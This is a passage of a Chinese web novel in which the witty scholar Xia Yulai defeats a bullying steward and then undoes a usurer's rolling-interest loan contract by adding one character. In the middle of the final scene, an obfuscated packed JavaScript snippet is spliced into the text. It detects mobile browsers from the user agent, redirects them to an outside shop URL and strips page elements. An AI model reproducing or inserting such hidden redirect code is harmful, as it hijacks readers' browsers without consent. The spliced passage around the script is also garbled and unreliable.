声音不大,却穿透喧闹,落在每个人耳中。 全场瞬间一静。 所有人同时转头望去。 青布长衫,旧书箱,眉眼弯弯,嘴角噙笑,一双眼睛亮得能照见人心,从容不迫,缓步走来。 正是夏雨来。 三、秀才登场,先捧后杀 胡三正嚣张得意,突然被人打断,还被当众骂作 “恶奴”,顿时勃然大怒。 他猛地转头,三角眼瞪得溜圆,厉声喝道:“哪来的穷酸秀才?敢管老子的闲事?活腻歪了是不是!” 四个恶奴立刻齐刷刷转头,目露凶光,朝着夏雨来逼近两步,一副随时要动手打人的架势。 围观百姓心一下子提到了嗓子眼。 “又是夏秀才!”“他昨天斗刘三刀、戏赵二混,今天居然敢管胡三的事?”“胡三可比刘三刀凶多了,他是真敢打人啊!”“小伙子,快别说了,赶紧跑!别把自己搭进去!” 阿翠也挤了过来,一把拉住夏雨来的胳膊,急得脸色发白:“夏雨来!你别冲动!胡三心狠手辣,又有陈老财撑腰,你斗不过他的!快跟我走!” 夏雨来却轻轻拍了拍阿翠的手,给她一个安定从容的眼神,语气轻松诙谐,半点不慌:“娘子放心,小生这双手,是用来写字、讲道理、戏耍恶奴的,不是用来打架的。打架多粗鲁,咱们用脑子,用嘴皮子,玩死他。” 他轻轻挣脱阿翠,一步一步,慢悠悠走进人群中央,站在阿顺夫妻身前,正好把夫妻俩护在身后。 这个站位,瞬间让所有百姓心里一暖 ——这秀才,是真的要护着百姓。 夏雨来先低头,对着阿顺夫妻温和一笑,声音轻轻,却格外安定人心:“二位别怕,有我夏雨来在,今天这摊位,谁也砸不了,谁也抢不走。胡三想欺负你们,得先问过我这张嘴,问过我这一肚子道理。” 阿顺夫妻抬起满是泪水的脸,看着眼前文弱却挺拔的书生,眼里重新燃起一丝微弱的希望。 夏雨来这才转过身,面对凶神恶煞的胡三,脸上没有半分害怕,反而拱手作揖,动作斯文,语气却极尽戏谑: “这位想必就是大名鼎鼎的胡三爷,陈老财府上第一红人,大管家胡三是也?小生夏雨来,一介穷秀才,今早刚喝完茶,路过此地,碰巧看了一场‘恶奴横行’的好戏。实在忍不住,想向三爷请教几个问题。” 他先报上名号,再给胡三戴一顶 “大名鼎鼎、第一红人” 的高帽。 这是夏雨来的套路 ——先捧,再套,后杀。对付胡三这种狗仗人势、极度好面子的恶奴,比硬碰硬管用一百倍。 胡三上下打量夏雨来,见他穿得破破烂烂,一副穷酸样,顿时更加不屑,厉声喝道:“臭秀才!老子没工夫跟你废话!滚远点!不然连你一起打!” “三爷别急着动粗嘛!” 夏雨来连忙后退一步,装作害怕的样子,双手连连摆动,“小生只是个读书人,手无缚鸡之力,经不起三爷一拳。小生就是有点好奇,想问问清楚 ——” 他顿了顿,眼神突然一厉,语气依旧诙谐,却字字如刀: “三爷,你在街市上砸摊位、抢地盘、欺压小贩,是陈老爷亲口吩咐的,还是你自己假传圣旨、借着主子威风,在外面横行霸道?” 这话一出,全场瞬间安静。 所有人都屏住了呼吸。 这一问,太狠了!直接把胡三的恶行,分成两条路:一、是陈老财指使 —— 那陈老财就是目无王法、欺压百姓;二、是胡三假传圣旨、私自作恶 —— 那胡三就是欺主瞒上、死路一条。 胡三再嚣张,也不敢把脏水泼到陈老财头上。他脸色骤变,眼神闪过一丝慌乱,却依旧强装镇定:“你…… 你胡说八道!自然是我家老爷的意思!” “哦?是陈老爷的意思?” 夏雨来故作恍然大悟,拍手称赞,“那可就厉害了!陈老爷是什么人?那是咱们潮州城有名的乡绅名士,知书达理,乐善好施,平日里最是体恤百姓、最讲规矩道理,对不对?” 他一顿猛夸,把陈老财捧成一个大善人、大贤士。 百姓们听得一愣一愣的,心里都纳闷:陈老财是什么货色,谁不知道?怎么到了秀才嘴里,成了乐善好施的乡绅? 只有夏雨来心里清楚 ——捧得越高,摔得越惨。用主子的名声,锁死恶奴的气焰。 胡三果然被捧得舒服,气焰又上来了,挺胸抬头:“那是自然!我家老爷最是仁厚!” “仁厚?” 夏雨来眼神一冷,声音陡然提高,让所有人都听得清清楚楚,“既然陈老爷仁厚体恤百姓,那他怎么会吩咐你,砸烂小贩的摊位、抢走百姓的饭碗、把人逼到绝路? 三爷,你这哪里是给陈老爷办事,你这是给陈老爷抹黑!是坏陈老爷的名声!是让全城百姓都骂陈老财仗势欺人、无法无天! 我问你 ——若是陈老爷知道,他手下的大管家,在街市上如此胡作非为,丢尽他的脸面,他会怎么对你?轻则打断你的腿,重则直接把你赶出府,让你变成一条丧家之犬!” 一番话,字字诛心,句句戳中要害! 胡三的脸色,瞬间从嚣张的通红,变成恐惧的惨白。 他彻底慌了。 他之所以敢横行街市,全靠陈老财撑腰。若是真的被陈老爷知道,他在外面胡作非为,坏了老爷的 “乡绅” 名声,以老爷的脾气,绝对饶不了他! 陈老财平日里最看重自己的名声,最忌讳别人说他欺压百姓,每次都装得仁心仁义,若是知道胡三把事情闹成这样,让老爷名声扫地,他真的要完蛋! 胡三张了张嘴,想反驳,却发现自己无话可说。 因为夏雨来说的,全是实话。 围观百姓瞬间恍然大悟,心里一个个暗暗叫绝! “这秀才太厉害了!”“一句话就把胡三的气焰打下去了!”“用陈老财的名声压胡三,太高明了!” 阿翠站在人群外,看着夏雨来的背影,眼睛亮晶晶的,满眼都是崇拜。 夏雨来把胡三的慌乱看在眼里,心里暗暗一笑。 第一步,破势 —— 成了。 四、巧设圈套,当众戏耍 夏雨来见胡三已经心慌意乱,气势全无,立刻趁热打铁,语气一转,又软了下来,给胡三一个台阶下: “三爷,我知道,你也是一时糊涂,未必是真心想欺压百姓。说不定,是你误会了陈老爷的意思,把‘体恤商户’当成了‘强占地盘’,这才好心办了坏事,对不对?” 这话,简直是给胡三递了一个天大的台阶。 胡三脑子转得再快,也不过是个恶奴,立刻顺着台阶下,连忙点头,装出一副恍然大悟的样子,对着夏雨来拱手,语气都软了: “秀才说得对!说得太对了!是我糊涂!是我误会了老爷的意思!我原本是想维护街市秩序,没想到办砸了,差点坏了老爷的名声!多谢秀才提醒!多谢秀才提醒!” 他一边说,一边对着夏雨来作揖,态度来了个一百八十度大转弯,哪里还有半分刚才的嚣张? 百姓们看得目瞪口呆,随即忍不住笑出声来。 刚才还凶神恶煞的恶奴,被秀才几句话说得服服帖帖,当场认怂。 夏雨来心中暗笑,脸上却依旧一本正经,摆了摆手:“明白就好。你是陈老爷的管家,一言一行,代表的都是陈老爷。以后做事,多想想陈老爷的名声,多体恤百姓的辛苦,本本分分,才是正道。” “是是是!秀才教训得是!” 胡三连忙点头哈腰。 “那今天这事……” 夏雨来故意拖长语调。 “今天这事,是我的错!” 胡三立刻表态,转头对着阿顺夫妻,勉强挤出一个比哭还难看的笑脸,“阿顺兄弟,阿莲嫂子,对不起,是我胡三糊涂,冒犯了你们,你们大人有大量,别跟我一般见识。这摊位,我不抢了,再也不抢了!你们安心做生意,以后没人敢来捣乱!” 阿顺夫妻愣住了,简直不敢相信自己的耳朵。 刚才还凶神恶煞要砸摊抢地的胡三,居然给他们道歉? 夏雨来见状,立刻高声对众人道:“好了好了!既然误会解开,胡三爷也愿意认错赔罪,那这事就圆满解决!大家鼓掌!为胡三爷‘知错能改、深明大义’,鼓个掌!” 他先喊一声鼓掌,自己率先拍手。 百姓们立刻跟着拍手。 “啪啪啪啪 ——” 掌声雷动,响彻街市。 胡三站在掌声里,脸一阵红一阵白,尴尬得想找个地缝钻进去。 这哪里是鼓掌?这分明是当众打他的脸! 他这辈子,从没这么丢人过! 夏雨来却像是没看见他的尴尬,依旧笑眯眯地说道:“胡三爷果然是痛快人!以后东门街市,大家和和气气做生意,再也不要争抢摊位、欺压小贩,官府看了高兴,百姓也过得安稳,岂不美哉?” 他一边说,一边给阿顺夫妻使了个眼色。 夫妻俩立刻反应过来,连忙对着胡三拱了拱手,顺着台阶下:“多谢…… 多谢胡三爷。” 胡三哼了一声,一句话也说不出来,带着四个恶奴,在众人的掌声、目光、议论声中,灰溜溜地转身就走。 那背影,哪里还有半分刚才的嚣张?活像一只斗败的公鸡,狼狈不堪。 五、恶奴不甘,再设毒计 胡三带着恶奴灰溜溜逃出东门街市,一口气跑出半条街,才敢停下脚步。 他站在墙角,喘着粗气,脸色一阵青一阵白,越想越气,越想越恨。 “气死我了!气死我了!” 胡三狠狠一脚踹在墙上,疼得龇牙咧嘴,“那个穷酸秀才夏雨来,竟敢当众戏耍我,让我丢尽脸面!此仇不报,我胡三誓不为人!” 一个恶奴连忙上前:“管家,那秀才太狡猾,嘴皮子又厉害,我们斗不过他。要不,我们回去告诉老爷,让老爷出面收拾他?” “告诉老爷?” 胡三眼睛一瞪,“你想让老爷知道,我在街市上胡作非为,坏了他的名声?你想让我被赶出府吗?蠢货!” 那恶奴吓得不敢说话。 胡三阴沉着脸,在原地来回踱步,三角眼里闪过一丝阴毒。 他心里清楚:明着来,他斗不过夏雨来那张嘴;借主子之力,又会引火烧身。 只能来阴的。 胡三停下脚步,眼神阴鸷,低声对几个恶奴道:“你们听着。那个夏雨来,不就是个穷酸秀才,靠着一张嘴帮百姓出头,博取名声吗?他不是喜欢管闲事吗?不是喜欢装公道吗? 我们就……今晚,趁夜黑风高,偷偷去把阿顺那个摊子彻底砸烂,再把货物全烧了!然后,留下一张纸条,就说是夏雨来指使的! 到时候,百姓就会以为,夏雨来表面帮他们,暗地里却砸他们的摊子,他的名声就臭了!百姓恨他,官府抓他,他在潮州城,再也待不下去!一箭双雕,既报了仇,又除了后患!” 几个恶奴一听,眼睛一亮,纷纷拍马屁:“管家高明!实在是高明!”“这计策太毒了!让夏 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阿福喘着气,把刚才听到的话,一五一十全说了出来: “胡三说,今晚三更,要派人偷偷砸烂阿顺哥的摊子,烧掉货物,然后留下纸条,说是你指使的!要让你身败名裂,被官府抓走!” 这话一出,全场哗然! “什么?这胡三也太歹毒了!”“居然用这么阴毒的计策!太不是东西了!”“夏秀才,你快躲一躲!别被他们陷害了!” 阿顺夫妻更是吓得脸色惨白,浑身发抖:“这…… 这可怎么办…… 我们的摊子……” 阿翠也急得眼眶发红:“夏雨来,这胡三太歹毒了,你快想个办法啊!” 所有人都慌了,只有夏雨来,依旧镇定自若,嘴角甚至勾起一抹狡黠的笑。 他听完,非但不慌,反而轻轻拍了拍阿福的肩膀,赞道:“小兄弟,谢谢你,你立了大功。” 众人都愣住了。 都要被人栽赃陷害、身败名裂了,秀才怎么还笑? 夏雨来环视众人,声音清亮,朗声说道: “诸位放心,胡三这毒计,在我眼里,不过是小孩子把戏。他想栽赃我,想砸摊报复,好,我就将计就计,送他一份大礼,让他这一次,彻底栽在我手里,再也不敢来街市作恶!” “秀才,你有办法?” 阿顺连忙问。 “自然有。” 夏雨来笑得狡黠,眼神亮如星辰,“他不是想晚上来砸摊、放火、栽赃吗?我们就 ——今晚提前把摊位清空,布下天罗地网,等他的人一到,我们当场抓住,人赃并获,直接送官! 到时候,他砸摊、纵火、栽赃、欺压百姓,数罪并罚,就算陈老财出面,也保不住他!” 百姓们一听,眼睛全都亮了! “好计!太妙了!”“将计就计,一网打尽!”“夏秀才,我们听你的!你说怎么做,我们就怎么做!” 夏雨来立刻开始安排,条理清晰,有条不紊: “阿福,你去悄悄通知街坊里的青壮年男子,今晚二更,全部悄悄集合,埋伏在摊位周围,不许出声,不许走漏风声。阿顺夫妻,你们今晚把摊位上的货物全部搬回家,只留下空筐空桌,假装原样不动。我去通知王捕快,让他今晚带人悄悄埋伏,等我们信号,立刻出来抓人。 今晚,我们就让胡三这伙恶奴,有来无回!” 众人齐声应道:“好!” 一场针对恶奴的天罗地网,悄然布下。 七、深夜落网,恶奴伏法 当晚,夜色如墨,星月无光。 潮州城东门外的街市,一片寂静,漆黑一片,只有几盏昏暗的灯笼,在风中轻轻摇晃。 阿顺的摊位,看上去和白天一模一样,竹筐、木桌、摊子,整整齐齐,仿佛主人早已回家,毫无防备。 摊位周围,埋伏着几十名街坊百姓,个个屏住呼吸,一动不动。 不远处的街角,王捕快带着几名捕快,也悄悄埋伏,只等信号。 夏雨来穿着一身深色衣服,躲在暗处,眼神锐利,静静等待。 三更一到。 几道黑影,鬼鬼祟祟,从街角窜出,正是胡三和他的四个恶奴。 胡三手里拿着一把刀,恶奴们手里拿着棍棒、火把,脸上蒙着布,蹑手蹑脚,朝着摊位逼近。 “快!动作快点!” 胡三低声催促,“砸烂摊子,放火烧货,留下纸条,立刻走!” “是!” 恶奴们立刻动手,举起棍棒,就要砸向摊位。 就在这千钧一发之际 —— 夏雨来一声断喝,划破黑夜: “动手!抓贼!” 信号一出! “轰 ——!” 埋伏的百姓瞬间冲出,火把亮起,照亮整条街市,几十个人一拥而上,把胡三等人团团围住。 “不许动!”“你们跑不了了!” 王捕快带着捕快立刻冲出,拔出腰刀,厉声喝道:“官府在此!恶奴休走!” 胡三和五个恶奴,当场吓得魂飞魄散,腿一软,瘫在地上,浑身发抖,面如死灰。 棍棒、火把、栽赃的纸条,掉了一地。 人赃并获,铁证如山! 胡三看着围得水泄不通的百姓,看着亮如白昼的火把,看着面无表情的夏雨来,彻底绝望,瘫在地上,一句话也说不出来。 他怎么也想不到,自己精心策划的毒计,竟然早就被夏雨来识破,还布下了天罗地网,等着他自投罗网。 夏雨来缓步走出,站在胡三面前,眼神清冷,语气诙谐却冰冷: “胡三爷,别来无恙啊。白天我戏耍你,给你台阶下,你不珍惜。晚上居然还敢来砸摊、纵火、栽赃,你真是,不见棺材不掉泪。 今天,人赃并获,铁证如山,你还有什么话好说?” 胡三浑身发抖,面如死灰,一句话也说不出来。 王捕快上前,厉声喝道:“胡三,你欺压百姓、强占摊位、深夜砸摊、纵火未遂、栽赃陷害,罪大恶极!来人,给我锁起来,带回府衙,严加审问!” 捕快们立刻上前,咔嚓一声,给胡三等人戴上枷锁。 恶奴们吓得痛哭流涕,连连求饶,却没人可怜他们。 百姓们看着被押走的胡三等人,爆发出雷鸣般的掌声与欢呼声! “太好了!恶奴终于被抓了!”“夏秀才太厉害了!为民除害!”“以后我们终于可以安心做生意了!” 欢呼声,响彻整条街市,久久不息。 八、市井定风,侠名流传 第二天一早,胡三深夜砸摊、纵火、栽赃的消息,传遍了整个潮州城。 府衙公开审理,胡三罪行累累,证据确凿,被判重刑,打入大牢。陈老财得知消息,怕引火烧身,立刻与胡三划清界限,公开声明,从此不再任用此人。 横行街市多年的恶奴,终于得到应有的下场。 东门街市,彻底恢复了平静与安稳。 阿翠的茶摊前,热气腾腾,茶香四溢。 夏雨来依旧穿着那件洗得发白的青布长衫,背着旧书箱,慢悠悠喝着热茶。 阿翠看着他,眼睛亮晶晶的,满眼都是敬佩:“夏雨来,你真的太了不起了。斗恶霸,拆鬼秤,讨欠款,戏恶奴,你凭一张嘴、一肚子智慧,把潮州城的恶人,一个个整治得服服帖帖。” 夏雨来放下茶碗,笑着摆手:“不是我了不起,是公道最了不起。恶人再凶,凶不过人心;恶计再毒,毒不过天理。我只是把公道说出来,把百姓的底气找回来。” 他望着眼前热闹安稳的街市,眼神清澈而坚定: “阿翠娘子,你看。恶霸不敢横行,奸商不敢欺诈,恶奴不敢欺市,百姓能安心过日子,小贩能安心做生意,这,才是我夏雨来,真正想守的市井。” 风一吹,他的青布长衫轻轻摆动。穷秀才的身影,在晨光里,挺拔如竹。 百姓们围了上来,对着夏雨来拱手作揖,齐声称赞:“鬼才秀才,侠义无双!”“潮州有夏雨来,百姓得平安!” 夏雨来笑着拱手,语气诙谐:“诸位过奖了。小生只是一个爱管闲事、爱讲道理的穷秀才。以后,谁家有不平事,尽管找我夏雨来!专治恶霸、奸商、恶奴,为民出头,绝不退缩!” 话音落下,整条街市欢声雷动。 晨光越升越高,照在青石板路上,暖洋洋的。恶奴已除,街市安宁,百姓欢笑,公道长存。 夏雨来的侠名,随着市井烟火,传遍潮州城,流传百年。 而他的传奇,仍在继续。 7. 假贷真坑 一、晨雾未散,阴云已来 暮春的潮州城,晨雾像一层薄纱,轻轻笼着东门的青石板街。檐角的水珠 “嗒嗒” 落在竹筐上,和着阿翠茶摊的铜壶咕嘟声,凑成一曲最寻常的市井晨曲。 夏雨来照旧穿着那件洗得发白的青布长衫,背着旧书箱,慢悠悠从巷口踱出来。连日来他斗恶霸、拆鬼秤、讨货款、戏恶奴,如今走在街上,百姓见了他,无不拱手问好,眼神里全是敬重。 “夏雨来,早啊!今日新泡的单丛,最解腻!” 阿翠远远扬声喊他,手里已稳稳端上一碗热茶。 夏雨来笑着走近,拱手作揖,语气依旧诙谐顺口:“阿翠娘子,你这茶摊如今是‘公道第一摊’,恶霸退散,奸商低头,小生不来沾沾正气,都说不过去。” “少贫嘴。” 阿翠把茶碗递给他,眼尾带着笑意,“你这几日为街坊出头,分文不取,再这么下去,我都要替你愁生计。” 夏雨来接过热茶,指尖一暖,仰头喝下小半盏,浑身舒坦:“娘子有所不知,我夏雨来的‘生计’,从来不是银钱米粮,是这市井安稳、百姓不受欺负。一旦沾了好处,公道就变了味,我和那些吸血啃肉的劣绅,还有什么两样?” 这番话说得坦荡透亮,阿翠听得连连点头。 两人正说笑间,街市西头忽然传来一阵撕心裂肺的哭声,不是吵闹,不是对骂,是那种家破人亡般的绝望,听得人心里发紧。 夏雨来眉头微挑,放下茶碗:“听这哭声,是出了大事。” “多半是…… 借了陈老财的高利贷。” 阿翠脸色一沉,声音压得极低,“胡三被抓进去后,陈老财亲自出马,在街市放‘驴打滚’高利贷,借一百文,一月变两百,两月翻四倍,多少人家被他坑得卖儿卖女、家破人亡。” 夏雨来眼神瞬间沉了下来。 恶霸欺身,奸商欺口,赖账欺心,高利贷,是直接啃噬百姓的命。 这种事,比占地、短秤、赖账阴毒十倍。 “好一个陈老财。” 夏雨来嘴角勾起一抹冷峭的笑,眼神却锐利如刀,“恶奴被抓,他亲自下场吸血。我倒要看看,他这‘假贷真坑’的鬼把戏,能不能瞒过我这双眼睛、这张嘴。” 说罢,他背起旧书箱,步履沉稳,向西头快步走去。 二、家破人哭,高利贷吃人 西头巷口早已围得水泄不通。 人群中央,一间破旧茅屋门前,一个中年汉子跪在地上,双手捶地,哭得涕泪横流。他叫阿顺哥,是个挑夫,靠给人扛货养家,老实巴交,从不多言。 他身边,一个妇人抱着一个面黄肌瘦的孩子,哭得几乎晕厥,孩子咳嗽不止,小脸通红,一看就是病得厉害。 茅屋前站着两个身穿绸缎、面带凶相的家丁,腰挂陈府腰牌,手里拿着一张泛黄的字据,气焰嚣张。 为首的正是陈老财的心腹 ——周福。 此人尖嘴猴腮,眼神阴鸷,比胡三更阴、更毒、更会算计,是陈老财放高利贷的头号打手。 “林阿顺,别给脸不要脸!” 周福一脚踢翻门口破竹凳,厉声呵斥,“白纸黑字,签字画押,借了陈府五百文,如今利滚利,一共是三千二百文!今日不还钱,就拿你家茅屋抵债,再把你婆娘孩子卖去做丫鬟小厮!” 阿顺哥哭得浑身发抖,声音嘶哑:“周管家…… 我、我当时只借了五百文啊!给孩子看病救命…… 你们说利息低、好还,我才签字的…… 怎么、怎么就变成三千二百文了……” “字据在此,你敢不认?” 周福把字据抖得哗哗响,“上面写得清清楚楚:借银五百文,按月加息,过期不还,利上加利。你自己按的手印,难道是假的?” 妇人哭着扑上去:“我们不懂字啊!你们当时说‘就多还一点点’,我们才按的手印…… 你们这是骗人!是抢人啊!” “抢你又如何?” 周福冷笑,“在潮州城,陈老爷的话就是王法!字据就是天理!今日要么还钱,要么滚蛋,二选一!” 阿顺哥绝望至极,抓起地上一块砖头,就要拼命,却被两个家丁死死按住,拳打脚踢。 “放开我!你们这些强盗!吸血鬼!” “还敢反抗?给我打!打到他服为止!” 围观百姓个个气得咬牙,却没人敢上前。 谁都知道,陈老财心狠手辣,高利贷沾不得,沾上就是家破人亡。 “太黑心了!借五百,滚成三千二,这不是放贷,是吃人!”“阿顺哥家本来就穷,孩子又病,这是要把人往死里逼啊!”“可我们有什么办法?字据签字画押,官府都认,我们斗不过啊……” 百姓的议论里,全是无力与心酸。 夏雨来站在人群外围,从头看到尾,把前因后果听得一清二楚。 他没有立刻上前,而是先在心里快速拆解这桩 “假贷真坑”:一、利用百姓不识字,口头说 “低息”,字据上写 “利滚利”;二、用模糊字句 “按月加息、利上加利”,设下文字陷阱;三、威逼老实人签字画押,事后拿字据当 “律法”,逼得人家破人亡;四、无官可告,无状可诉,因为字据表面完全合规。 这是最阴、最毒、最难破的局。 硬闹,没用;硬告,必输;硬拼,送死。 夏雨来眼底闪过一丝狡黠。 越难破,越合他胃口。今日,他便用文字游戏,破文字陷阱,用陈老财最得意的 “字据”,送他一个天大的跟头。 三、秀才登场,假意逢迎 就在阿顺哥一家即将被赶出茅屋、彻底绝望的一刻 —— 一个清亮、诙谐、慢悠悠,却字字入耳的声音,从人群外飘了进来: “哎呀呀 —— 陈老爷府上的周大管家,果然威风八面。一张字据,能逼得人家破人亡,小生活了二十二年,还是第一次见到这么‘有学问’的讨债人!佩服,佩服!” 声音不大,却像一盆凉水,浇在满场戾气上。 众人同时转头。 青布长衫,旧书箱,眉眼弯弯,嘴角噙笑,一双眼睛亮得能看透人心。正是夏雨来。 周福正嚣张得意,突然被人打断,还被暗讽 “吃人”,顿时勃然大怒:“哪来的穷酸秀才?敢管陈府的事?活腻了!” 两个家丁立刻目露凶光,朝夏雨来逼近。 围观百姓心都提到了嗓子眼:“又是夏秀才!”“他这次要斗陈老财的高利贷?这可是连官府都难断的局啊!”“小伙子,快退回来!这不是闹着玩的!” 阿翠也挤了过来,拉住夏雨来胳膊,急得眼眶发红:“夏雨来,这是高利贷,字据在手,你斗不过的!别把自己搭进去!” 夏雨来轻轻拍开她的手,给她一个安定眼神,语气轻松诙谐:“娘子放心,小生不打架、不喊冤、不告官,就跟周管家‘谈学问、论文字’。他玩字坑人,我就解字救人,正好棋逢对手。” 他缓步走入人群中央,挡在阿顺哥一家身前,先对着周福深深一揖,动作恭敬,语气谦卑: “周管家息怒,小生夏雨来,一介穷秀才,略懂几个字。见大家吵得凶,怕闹出人命,特来做个中人,说句公道话。” 先示弱,先捧人,先给台阶。这是夏雨来对付阴毒之人的第一招:麻痹对方,让他放松警惕。 周福上下打量他,见他衣着破旧、态度恭敬,气焰顿时又上来了,冷哼一声:“你一个穷秀才,也配管陈府的事?” “不配不配,只是略懂笔墨。” 夏雨来连忙摆手,一脸惶恐,“小生就是好奇,想见识见识陈府的字据,到底写得如何精妙,能让人心服口服、甘愿还债。” 这话正中周福下怀。他最得意的,就是这张 “天衣无缝” 的字据。 “算你识相!” 周福把字据往夏雨来手里一塞,“你自己看!白纸黑字,签字画押,官府都挑不出毛病!” 夏雨来双手接过字据,恭恭敬敬,像是捧着圣旨。 他展开字据,眯起眼睛,一字一句,慢慢 “研读”。 百姓全都屏住呼吸,盯着他。阿顺哥一家也止住哭声,满眼期盼地望着他。 夏雨来越看,眉头越 “皱”,脸色越 “凝重”,嘴里还不停 “啧啧” 赞叹:“妙,妙啊!周管家,这字据是谁写的?真是文字高手,滴水不漏,佩服佩服!” 周福越发得意,挺胸凸肚:“那是自然!陈老爷亲自吩咐,能有错?” “错是没错,太没错了。” 夏雨来连连点头,语气越发恭敬,“只是小生有一处不明白,想请教管家 —— 这‘按月加息,利上加利’,到底是怎么个算法?百姓不识字,容易误会,不如管家当众念一遍、算一遍,也好让大家心服口服,免得说陈老爷欺负人。” 他故意把 “欺负人” 三个字咬得极轻,却像一根刺,扎在周福心上。 周福哪里知道是圈套?他只想当众显摆字据、压服百姓。 “念就念!怕你不成!” 周福一把夺过字据,清了清嗓子,当众高声念道:“立据人林阿顺,今借到陈府铜钱五百文。按月加息,利上加利,一年为限,到期本利还清。空口无凭,立字为据。” 念完,他得意洋洋:“听到没有?写得明明白白!利上加利,天经地义!” 夏雨来等的就是这一句。 他眼底闪过一丝旁人难以察觉的精光,脸上却依旧恭敬,笑着拱手:“妙!实在是妙!管家,小生有个不情之请 —— 这字据写得太好,小生想当众誊抄一遍,让大家都学学‘规矩’,也好日后向陈老爷借钱,懂规矩、不违约,您看行吗?” 周福彻底放松警惕。在他看来,这穷秀才就是被字据折服,想拍马屁。 “誊抄就誊抄!怕你不成!” 周福把字据塞回他手里,“快去写!写清楚点,让所有人都看看,陈老爷是公道的!” 夏雨来心中暗笑: 鱼儿,彻底上钩了。 四、巧改字据,一字破局 夏雨来要了笔墨纸砚,就在阿顺哥家门口的破桌上,恭恭敬敬铺开纸张。 他提笔蘸墨,动作斯文,神态专注,一字一句,照着原文慢慢写。 百姓围得更近,全都屏气凝神。阿翠站在一旁,心提到了嗓子眼。她不知道夏雨来要做什么,只知道这一步,凶险万分。 夏雨来一边写,一边轻声念,念得清清楚楚,让所有人都听见:“立据人林阿顺,今借到陈府铜钱五百文。按月加息,止加利,一年为限,到期本利还清。空口无凭,立字为据。” 他故意把那个字念得极轻,却清晰可闻。 写完,他双手捧着誊抄的字据,恭恭敬敬递给周福:“周管家,您请看,小生抄得对不对?一字不差,规矩分明!” 周福接过一看,扫了一眼,见字迹工整、内容大致一样,顿时哈哈大笑:“不错不错!算你识相!现在大家都看清了吧?字据公道,欠债还钱,天经地义!” 他得意忘形,压根没注意到 ——原文是:利上加利夏雨来抄的是:利上止利 只加了一个 **“止”** 字。意思天差地别:利上加利=驴打滚,越滚越多;利上止利=利息只加一层,不再滚翻。 夏雨来脸上依旧恭敬,心里早已笑翻。 对付文字陷阱,最狠的办法,就是用一个字,改写全局。你玩阴的,我玩巧的;你设圈套,我拆圈套。 “管家,既然字据抄完,大家也都看清了。” 夏雨来朗声对众人道,“诸位街坊,现在听清楚了 ——林阿顺借陈府五百文,按月加息,利上止利,利息只算一层,不再翻番!本金五百,利息最多五百,一共一千文,清清楚楚,公道明白!” 这话一出,全场死寂一瞬,随即轰然炸开! “什么?利上止利?”“不是利上加利吗?怎么变成止利了?”“秀才改字了?!” 周福先是一愣,随即脸色骤变,猛地低头看向手里誊抄的字据。 一看之下,他魂飞魄散! “止?!” 周福发出一声尖叫,声音都劈了,“你、你竟敢篡改字据!你大胆!” 他疯了一样抢过原来的字据,对比一看 ——原文:利上加利抄件:利上止利 一字之差,地狱天堂! 周福气得浑身发抖,指着夏雨来,手指都在打颤:“你、你竟敢篡改字据!伪造文书!我要报官!我要抓你坐牢!” 夏雨来等的就是这句话。 他瞬间收起恭敬,后退一步,神态从容,嘴角勾起一抹戏谑的笑,朗声对着所有人,字字如刀: “周管家,你喊什么?谁篡改字据了?谁伪造文书了? 我来问你 ——我抄的,不是你念的吗?我写的,不是你说的吗? 你刚才当众高声念的,就是 ——按月加息,利上止利!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446902|201103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 我一个字不差,照着你念的写!你现在反说我篡改?难道你当众念错字?难道陈府的管家,连字都不认识?传出去,人家是笑你,还是笑陈老爷?” 一番话,逻辑如刀,句句锁死! 全场百姓瞬间恍然大悟,爆发出压抑已久的怒吼! “对!刚才周福就是这么念的!”“秀才照着写的,怎么能叫篡改?”“是你自己念错!活该!” 周福彻底懵了,慌了,疯了! 他想破脑袋也想不明白,自己明明念的是 “利上加利”,怎么变成 “利上止利” 了? 他哪里知道,夏雨来在他念的时候,用语气、停顿、眼神,悄悄引导他发音模糊,再在誊抄时,光明正大加一个 “止” 字,反将一军。 你用文字坑人,我用文字救民;你设陷阱,我拆陷阱;你拿字据当刀,我拿笔墨当剑。 五、铁证如山,假贷现形 周福脸色惨白,歇斯底里尖叫:“我没有!我念的是‘利上加利’!是你搞鬼!是你陷害我!” “我陷害你?” 夏雨来冷笑一声,声音陡然提高,“好!既然你说我陷害你,那我们就请在场所有百姓作证! 刚才你念字据,上百人亲耳听见!现在,大家说 ——他念的,是‘利上加利’,还是‘利上止利’?” 夏雨来手臂一挥,指向全场。 百姓积压已久的怒火,瞬间爆发! “利上止利!”“我们都听见了!是利上止利!”“你自己念错,反赖秀才!黑心贼!” 吼声震天,气势排山倒海。 周福被几十上百双眼睛瞪着,被几十上百张嘴声讨,当场腿一软,差点瘫在地上。 他知道,自己彻底栽了。 夏雨来趁热打铁,拿起两张字据,高高举起,让所有人看清: “诸位街坊,大家看清楚!陈府原来的字据,写的是‘利上加利’,这是吃人陷阱!可周管家当众念的,是‘利上止利’,这是公道利息! 我夏雨来,只是如实誊抄!现在,周管家自己念错字,反说我篡改,这说明什么?说明陈府从头到尾,就是假贷真坑!用百姓不识字,口头一套,字据一套,借五百,滚成几千,逼得人家破人亡!” 每一句,都戳穿真相;每一句,都大快人心。 百姓怒吼如雷:“揭穿陈老财!”“假贷真坑!吸血鬼!”“滚出潮州城!” 夏雨来转头看向周福,眼神清冷,语气诙谐却冰冷: “周管家,现在两条路,你自己选。 第一条:承认字据是利上止利,林阿顺只还一千文,一笔勾销,茅屋保住,妻儿平安,此事就此了结,谁也不追究。 第二条:我们现在就去府衙,我带着你念错的字、抄错的据、上百个证人,告你伪造文书、欺诈百姓、放高利贷、逼害人命,让县太爷判你重罪,把你和胡三关在一起! 你选,哪一条?” 两条路,一条生路,一条死路。 周福浑身发抖,面如死灰。 去府衙?一告一个准,他必死无疑。陈老财知道他把事办砸,还当众丢了陈家脸面,绝对会把他推出去顶罪。 他别无选择。 “我…… 我选第一条……” 周福声音嘶哑,面如死灰,“林阿顺…… 还一千文…… 一笔勾销……” 